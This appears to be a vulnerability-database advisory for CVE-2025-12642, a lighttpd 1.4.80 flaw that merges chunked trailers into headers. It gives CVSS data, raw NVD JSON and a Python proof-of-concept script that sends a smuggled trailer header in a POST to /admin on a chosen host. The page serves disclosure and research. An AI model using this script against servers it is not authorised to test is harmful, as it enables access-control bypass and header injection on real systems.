Security Vulnerability Report
中文
CVE-2025-12642 CVSS 9.1 CRITICAL

CVE-2025-12642

Published: 2025-11-03 20:17:06
Last Modified: 2025-11-12 14:34:27
Source: 1c6b5737-9389-4011-8117-89fa251edfb2

Description

lighttpd1.4.80 incorrectly merged trailer fields into headers after http request parsing. This behavior can be exploited to conduct HTTP Header Smuggling attacks. Successful exploitation may allow an attacker to: * Bypass access control rules * Inject unsafe input into backend logic that trusts request headers * Execute HTTP Request Smuggling attacks under some conditions This issue affects lighttpd1.4.80

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:lighttpd:lighttpd:1.4.80:*:*:*:*:*:*:* - VULNERABLE
lighttpd 1.4.80

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-12642 PoC - lighttpd HTTP Header Smuggling This PoC demonstrates how to exploit the trailer-to-header merging vulnerability """ import socket import time def send_chunked_request(host, port, payload): """ Send a chunked HTTP request with malicious trailers """ # Construct HTTP request with chunked encoding and trailers request = f"POST /admin HTTP/1.1\r\n" request += f"Host: {host}\r\n" request += "Transfer-Encoding: chunked\r\n" request += "Trailer: X-Injected-Header\r\n" request += "Content-Type: application/x-www-form-urlencoded\r\n" request += "\r\n" # Chunked body with trailer request += "5\r\n" # First chunk length request += "test=\r\n" request += "0\r\n" # Final chunk (zero length) # Malicious trailer that gets merged into headers request += "X-Injected-Header: malicous_value\r\n" request += "\r\n" print(f"[*] Sending malicious request to {host}:{port}") print(f"[*] Request contains trailer that will be merged into headers") try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((host, port)) sock.sendall(request.encode()) # Receive response response = b"" while True: try: data = sock.recv(4096) if not data: break response += data except socket.timeout: break sock.close() print(f"[+] Response received ({len(response)} bytes)") return response.decode('utf-8', errors='ignore') except Exception as e: print(f"[-] Error: {e}") return None def verify_vulnerability(host, port): """ Verify if lighttpd is vulnerable by checking trailer handling """ print("[*] Testing lighttpd for CVE-2025-12642 vulnerability") # Send normal request normal_request = f"GET / HTTP/1.1\r\nHost: {host}\r\n\r\n" # Send malicious chunked request with trailers response = send_chunked_request(host, port, "") if response: print("[*] Response analysis:") print(response[:500]) return True return False if __name__ == "__main__": import argparse parser = argparse.ArgumentParser(description='CVE-2025-12642 PoC') parser.add_argument('--host', default='localhost', help='Target host') parser.add_argument('--port', type=int, default=80, help='Target port') args = parser.parse_args() verify_vulnerability(args.host, args.port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12642", "sourceIdentifier": "1c6b5737-9389-4011-8117-89fa251edfb2", "published": "2025-11-03T20:17:06.410", "lastModified": "2025-11-12T14:34:27.037", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "lighttpd1.4.80 incorrectly merged trailer fields into headers after http request parsing. This behavior can be exploited to conduct HTTP Header Smuggling attacks.\n\nSuccessful exploitation may allow an attacker to:\n\n * Bypass access control rules\n * Inject unsafe input into backend logic that trusts request headers\n * Execute HTTP Request Smuggling attacks under some conditions\n\n\nThis issue affects lighttpd1.4.80"}], "metrics": {"cvssMetricV40": [{"source": "1c6b5737-9389-4011-8117-89fa251edfb2", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "1c6b5737-9389-4011-8117-89fa251edfb2", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-444"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:lighttpd:lighttpd:1.4.80:*:*:*:*:*:*:*", "matchCriteriaId": "4858564C-9D52-43CB-80F3-2E90F71C05FF"}]}]}], "references": [{"url": "https://github.com/lighttpd/lighttpd1.4/commit/35cb89c103877de62d6b63d0804255475d77e5e1", "source": "1c6b5737-9389-4011-8117-89fa251edfb2", "tags": ["Patch"]}]}}